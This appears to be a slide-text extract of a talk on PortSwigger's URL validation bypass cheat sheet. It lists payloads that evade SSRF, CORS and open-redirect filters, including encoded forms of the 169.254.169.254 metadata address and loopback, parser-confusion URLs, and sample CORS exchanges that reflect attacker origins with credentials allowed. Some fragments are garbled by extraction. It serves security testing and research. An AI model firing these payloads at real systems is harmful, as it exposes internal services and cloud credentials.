
URL validation bypass cheat sheet

ZAKHAR FEDOTKIN



- Cheat sheet overview
- Real life cases
- Academy demo


https://portswigger.net/web-security/ssrf/ url-validation-bypass-cheat-sheet






Cheat sheet





URL validation bypass cheat sheet

This cheat sheet contains payloads for bypassing URL validation. These wordlists are useful for attacks such as server-side request forgery, CORS misconfigurations, and open redirection.



- Server-side request forgery (SSRF)
- Cross-origin resource sharing (CORS)
- Open redirection

- A fully qualified absolute URL useful for a situation where URL is used
- Only hostname direct input of the domain, such as in the Host header value
- CORS Origin where the hostname is intended to be used in a valid browser origin header

- Intruder's Percent Encoding: percent-encoding
- Everything
- Special Chars
- Unicode Escape: JSON like escape sequence

\uXXXX, except for the following characters:

```
{ "payload": "<attacker>.<allowed>",
"prefix": "0://",
"suffix": "/",
"id": "d82a33ae7aa92b0f1f1f5d71a24c0f1197da4e7a",
"description": "<attacker>.<allowed>",
"tags": ["URL", "HOST", "CORS"],
"filters": [] }
```

- Schema
- Path
- Override payload prefix
- Override payload suffix


- Cloud metadata endpoints
- Domain allow list bypass
- Fake relative URLs
- IPv6
- Loopback
- URL-splitting Unicode characters

Magic metadata ip address 169.254.169.254 forms:

- 2852039166
- 45801712126
- 169.254.43518
- 0xA9.0xFE.0xA9.0xFE
- 0251.0376.0251.0376
- IPv4 into IPv6

Advanced settings: IP





Designed for domain confusion attacks.

You can customize the testing domains by entering the allowed and attacker domains accordingly

Domain allow list bypass

PortSwigger

https://example.com:80\@169.254.169.254/

node:url.URL

python:urllib.parse

perl:URI->new()

Domain allow list bypass

PortSwigger

https://example.com.::FFFF:169.254.169.254/

python:urllib.parse python ignores string

This includes the browser-valid absolute URLs that might be incorrectly validated by client-side code.

Fake relative URLs




\$h\$ttps\$:/\$/\$example.com/ /t \r \n /t \r \n /t \r \n /t \r \n /t \r \n

HTML entities:

ZeroWidthSpace,
NegativeVeryThinSpace,
NegativeThinSpace,
NegativeMediumSpace,
NegativeThickSpace
NoBreak
SHY
allowed inside host

body.innerHTML =

"";



- RFC-6874 ZoneID [::%web-attacker.com]
- RFC-6874 ZoneID [::%25web-attacker.com]
- RFC-3986 IPvFuture [v1.web-attacker.com]

Magic metadata ip address 127.0.0.1 forms:

- 2130706433
- localhost
- localhost
- localhoft
- etc.

A small set of Unicode characters have a normalization form containing ASCII characters with syntax significance in a protocol: [".","/","#","\\","@","?",":"]


Example:

https://web-attacker.c%.example.com/

https://web-attacker.ca/c.example.com/

Browser normalization





- Circled: https://127.0.0.1/
- Full width: https://127.0.0.1/
- Segmented digits: https://□□□.□.□.□/



https://a.b.c.d.e.f.example.com/

https://axb.c.d.e.f.example.com/

https://a.bxc.d.e.f.example.com/

https://a.b.cxd.e.f.example.com/

https://a.b.c.dxe.f.example.com/

https://a.b.c.d.exf.example.com/

https://a.b.c.d.e.fxexample.com/

https://a.b.c.d.e.f.examplexcom/

Examples



OPTIONS / HTTP/1.1

Host: prod-example.com

Origin: prod-example.comd4d.one

Referer: prod-example.comd4d.one

HTTP/1.1 204 No Content

Server: nginx

Access-Control-Allow-Origin:

https://prod-example.comd4d.one

Access-Control-Allow-Methods: GET,

POST, OPTIONS, DELETE

Access-Control-Allow-Credentials: true

Examples



OPTIONS / HTTP/1.1

Host: prod.example.com

Origin: prodxexample.com

Referer: prodxexample.com

HTTP/1.1 204 No Content

Server: Apache/2.4.29

Access-Control-Allow-Origin:

https://prodxexample.com

Access-Control-Allow-Methods: GET,

POST, OPTIONS, DELETE

Access-Control-Allow-Credentials: true

Examples



OPTIONS / HTTP/1.1

Host: prod.example.com

Origin: prod.example.com\$d4d.one

Referer: prod.example.com\$d4d.one

HTTP/1.1 204 No Content

Server: Apache

Access-Control-Allow-Origin:


https://prod.example.com\$d4d.one

Access-Control-Allow-Methods: GET,

POST, OPTIONS, DELETE

Access-Control-Allow-Credentials: true

DEMO





- https://github.com/PortSwigger/url-cheatsheet-data
- https://github.com/PortSwigger/url-cheatsheet-data/blo b/main/schema.json

Takeaways

- Use context to adjust your wordlist
- Make sure to use proper encoding settings
- Submit your pull requests



Credits

This cheat sheet wouldn't be possible without the web security community who share their research:
Gareth Heyes, James Kettle, Jann Horn, Liv Matan,
Takeshi Terada, Orange Tsai, Nicolas Grégoire,
Thomas Stacey, Mateo Hanžek.



Questions

